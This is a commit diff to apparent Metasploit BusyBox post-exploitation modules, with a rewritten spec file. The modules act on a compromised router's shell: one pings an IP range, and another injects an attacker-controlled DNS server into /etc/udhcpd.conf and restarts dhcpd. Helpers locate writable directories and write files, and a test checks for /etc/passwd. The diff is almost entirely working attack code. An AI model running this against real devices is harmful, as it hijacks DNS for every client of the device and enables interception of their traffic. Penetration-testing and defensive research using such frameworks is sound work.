Modified module busybox_pingnet.rb to avoid sending an ash script but executing each ping command separately. Added some fixes. Modified spec file for busybox.rb.

bug/bundler_fix
jvicente 2015-08-23 12:17:17 +02:00
parent 888208678a
commit b37efd29b0
5 changed files with 72 additions and 198 deletions

View File

@ -32,13 +32,12 @@ module Busybox
retval = false
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
file_path = directory_path + "/" + rand_str
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}\n"); Rex::sleep(0.1)
(1..5).each{session.shell_read(); Rex::sleep(0.1)}
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}"); Rex::sleep(0.3)
rcv = read_file(file_path)
if rcv.include? (rand_str+"XXX"+rand_str)
retval = true
end
cmd_exec("rm -f #{file_path}"); Rex::sleep(0.1)
cmd_exec("rm -f #{file_path}"); Rex::sleep(0.3)
return retval
end
@ -52,18 +51,21 @@ module Busybox
#
def is_writable_and_write(file_path, data, append)
if append
data = read_file(file_path) + "\n" + data
writable_directory = get_writable_directory()
return false if not writable_directory
cmd_exec("cp -f #{file_path} #{writable_directory}tmp"); Rex::sleep(0.3)
end
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
cmd_exec("echo #{rand_str} > #{file_path}\n"); Rex::sleep(0.1)
session.shell_read(); Rex::sleep(0.1)
cmd_exec("echo #{rand_str} > #{file_path}"); Rex::sleep(0.3)
if read_file(file_path).include? rand_str
cmd_exec("echo \"\"> #{file_path}\n"); Rex::sleep(0.1)
session.shell_read(); Rex::sleep(0.1)
cmd_exec("echo \"\"> #{file_path}"); Rex::sleep(0.3)
lines = data.lines.map(&:chomp)
lines.each do |line|
cmd_exec("echo #{line.chomp} >> #{file_path}\n"); Rex::sleep(0.1)
session.shell_read(); Rex::sleep(0.1)
cmd_exec("echo #{line.chomp} >> #{file_path}"); Rex::sleep(0.3)
end
if append
cmd_exec("cat #{writable_directory}tmp >> #{file_path}"); Rex::sleep(0.3)
cmd_exec("rm -f #{writable_directory}tmp"); Rex::sleep(0.3)
end
return true
else

View File

@ -33,125 +33,16 @@ class Metasploit3 < Msf::Post
end
#
#this module will send a sh script for busybox shell for doing ping to a range of ip address from
#the router or device that is executing busybox. It could be possible to calculate each ip address
#of the range of ip addresses in the ruby script and execute each ping command with cmd_exec, but
#it would generate an unnecesary traffic in the connection with the busybox device (usually telnet)
#This module executes the ping command from the BusyBox connected shell for a given range of ip addresses. The
#results will be stored in loots
#
def run
sh_script_lines=[
"#!/bin/sh",
"param1=#{datastore['IPRANGESTART']}",
"param2=#{datastore['IPRANGEEND']}",
"while true;",
" param1cpy=\"$param1\"",
" pos=`expr index \"$param1cpy\" \".\"`",
" pos=`expr $pos - 1`",
" octec1=`expr substr \"$param1cpy\" 1 $pos`",
" pos=`expr $pos + 2`",
" len=`expr length \"$param1cpy\"`",
" param1cpy=`expr substr \"$param1cpy\" $pos $len`",
" pos=`expr index \"$param1cpy\" \".\"`",
" pos=`expr $pos - 1`",
" octec2=`expr substr \"$param1cpy\" 1 $pos`",
" pos=`expr $pos + 2`",
" len=`expr length \"$param1cpy\"`",
" param1cpy=`expr substr \"$param1cpy\" $pos $len`",
" pos=`expr index \"$param1cpy\" \".\"`",
" pos=`expr $pos - 1`",
" octec3=`expr substr \"$param1cpy\" 1 $pos`",
" pos=`expr $pos + 2`",
" len=`expr length \"$param1cpy\"`",
" param1cpy=`expr substr \"$param1cpy\" $pos $len`",
" octec4=\"$param1cpy\"",
" carry=0",
" len=`expr length \"$octec4\"`",
" temp=`expr match \"$octec4\" \"255\"`",
" if [ $temp -eq $len ]; then",
" octec4=0",
" carry=1",
" else",
" octec4=`expr $octec4 + 1`",
" fi",
" if [ $carry -eq 1 ]; then",
" carry=0",
" len=`expr length \"$octec3\"`",
" temp=`expr match \"$octec3\" \"255\"`",
" if [ $temp -eq $len ]; then",
" octec3=0",
" carry=1",
" else",
" octec3=`expr \"$octec3\" + 1`",
" fi",
" fi",
" if [ $carry -eq 1 ]; then",
" carry=0",
" len=`expr length \"$octec2\"`",
" temp=`expr match \"$octec2\" \"255\"`",
" if [ $temp -eq $len ]; then",
" octec2=0",
" carry=1",
" else",
" octec2=`expr $octec2 + 1`",
" fi",
" fi",
" if [ $carry -eq 1 ]; then",
" carry=0",
" len=`expr length \"$octec1\"`",
" temp=`expr match \"$octec1\" \"255\"`",
" if [ $temp -eq $len ]; then",
" octec1=0",
" carry=1",
" else",
" octec1=`expr $octec1 + 1`",
" fi",
" fi",
" ping -c 1 \"$param1\"",
" param1=\"$octec1\"\".\"\"$octec2\"\".\"\"$octec3\"\".\"\"$octec4\"",
" temp=`expr match \"$param1\" \"$param2\"`",
" len=`expr length \"$param2\"`",
" if [ $temp -eq $len ]; then",
" ping -c 1 \"$param1\"",
" break",
" fi",
"done"
]
begin
#send script and receive echos
count=0
sh_script_lines.each do |sh_script_line|
session.shell_write(sh_script_line + "\n")
count+=1
result=session.shell_read() #receive echos
vprint_status(result)
Rex::sleep(0.03)
end
rescue
print_error("Problems were found while sending script to the BusyBox device.")
return
end
Rex::sleep(1.00)
full_results = ""
begin
#receiving ping results
count=0
print_status("Script has been sent to the busybox device. Doing ping to the range of addresses.")
while count<15 #we stop when we have been 15 seconds without receiving responses
result = session.shell_read()
if result.length>0
count=0
print_status(result)
full_results << result
else
vprint_status("No response.")
count+=1
end
Rex::sleep(1.00)
end
rescue
print_warning("Problems were found while receiving ping results. Probably remote device terminated the connection.\nResults that were already received will be kept.")
(IPAddr.new(datastore['IPRANGESTART'])..IPAddr.new(datastore['IPRANGEEND'])).map(&:to_s).each do |current_ip_address|
print_status("Doing ping to the address #{current_ip_address}.")
full_results << cmd_exec("ping -c 1 #{current_ip_address}")
end
#storing results

View File

@ -52,23 +52,24 @@ class Metasploit3 < Msf::Post
original_content = read_file("/etc/udhcpd.conf")
vprint_status("Original udhcpd.conf content:")
vprint_status(original_content)
if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", false)
vprint_status("Udhcpd.conf is writable.")
is_writable_and_write("/etc/udhcpd.conf", original_content, true)
vprint_status("Relaunching udhcp server:")
cmd_exec("killall dhcpd\n")
cmd_exec("dhcpd /etc/udhcpd.conf &\n")
if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", true)
vprint_status("Udhcpd.conf is writable. Relaunching udhcp server:")
cmd_exec("killall dhcpd")
#in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
#that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
#process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
session.shell_write("dhcpd /etc/udhcpd.conf &\n")
print_good("Udhcpd.conf modified and dns server added. Dhcpd restarted.")
else
vprint_status("Unable to write udhcpd.conf. Trying to copy the file to a writable directory.")
writable_directory = get_writable_directory()
if writable_directory
vprint_status("writable directory found, creating a copy of the original udhcpd.conf.")
is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", false)
is_writable_and_write("#{writable_directory}tmp.conf", original_content, true)
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf"); Rex::sleep(0.3)
is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
vprint_status("Relaunching udhcp server:")
cmd_exec("killall dhcpd\n")
cmd_exec("dhcpd #{writable_directory}tmp.conf &\n")
cmd_exec("killall dhcpd")
session.shell_write("dhcpd #{writable_directory}tmp.conf &\n")
print_good("Udhcpd.conf copied to writable directory and dns server added. Dhcpd restarted.")
workdone = true
else

View File

@ -0,0 +1,43 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/linux/busybox'
describe Msf::Post::Linux::Busybox do
subject do
mod = Module.new
mod.extend described_class
mod
end
describe '#file_exists' do
it "should test for file existence" do
result = subject.file_exists("/etc/passwd")
result.should be true
end
end
describe '#get_writable_directory' do
it "should find a writable directory" do
result = subject.get_writable_directory()
result.should be true
end
end
describe '#is_writable_and_write' do
it "should write and append data to a file in a writable directory" do
result = false
writable_directory = get_writable_directory()
if nil != writable_directory
writable_file = writable_directory + "tmp"
if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and
is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file)
result = true
end
cmd_exec("rm -f #{writable_file}")
end
result.should be true
end
end
end

View File

@ -1,63 +0,0 @@
require 'msf/core'
lib = File.join(Msf::Config.install_root, "test", "lib")
$:.push(lib) unless $:.include?(lib)
require 'module_test'
load 'test/lib/module_test.rb'
#load 'lib/rex/text.rb'
#load 'lib/msf/core/post/file.rb'
class Metasploit4 < Msf::Post
include Msf::Post::Linux::Busybox
def initialize(info={})
super( update_info( info,
'Name' => 'Testing BusyBox Management Functions',
'Description' => %q{ This module will test Post::Linux::BusyBox API methods },
'License' => MSF_LICENSE,
'Author' => [ 'Javier Vicente Vallejo'],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
register_options(
[
OptString.new("BaseFileName" , [true, "File name to create", "busybox_test"])
], self.class)
end
def test_busybox_file_system_management
it "should test for file existence" do
ret = false
ret = true if file_exists("/etc/passwd")
ret
end
it "should find a writable directory" do
ret = false
ret = true if nil != get_writable_directory()
ret
end
it "should write and append data to a file in a writable directory" do
ret = false
writable_directory = get_writable_directory()
if nil != writable_directory
writable_file = writable_directory + datastore["BaseFileName"]
if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and
is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file)
ret = true
end
cmd_exec("rm -f #{writable_file}")
end
ret
end
end
end